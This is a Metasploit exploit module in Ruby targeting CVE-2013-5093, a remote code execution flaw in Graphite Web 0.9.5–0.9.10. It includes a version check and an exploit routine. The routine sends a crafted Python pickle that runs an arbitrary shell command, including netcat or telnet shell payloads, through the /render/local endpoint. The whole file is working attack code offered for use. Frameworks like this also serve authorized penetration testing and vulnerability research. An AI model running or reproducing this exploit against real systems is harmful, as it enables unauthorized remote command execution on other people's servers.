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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Graphite Web Unsafe Pickle Handling',
'Description' => %q{
This module exploits a remote code execution vulnerability in the pickle
handling of the rendering code in the Graphite Web project between version
0.9.5 and 0.9.10 (both included).
},
'Author' =>
[
'Charlie Eriksen', # Initial discovery and exploit
'funkypickle' # Version check to prove vulnerable
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-5093'],
[ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Aug 20 2013',
'DefaultTarget' => 0,
'Payload' =>
{
'DisableNops' => true,
'Space' => 16384,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'python generic telnet netcat perl ruby'
}
}))
register_options(
[
OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
], self.class)
end
def check
res1 = send_request_cgi({
# trailing slash required
'uri' => normalize_uri(target_uri.path, 'version/'),
'method' => 'GET'
})
res2 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
'method' => 'POST'
})
if (res1 and %w(0.9.5 0.9.10).include?(res1.body.strip)) and (res2 and res2.code == 500)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."
print_status("Sending exploit payload...")
response = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
'method' => 'POST',
'data' => data
})
end
end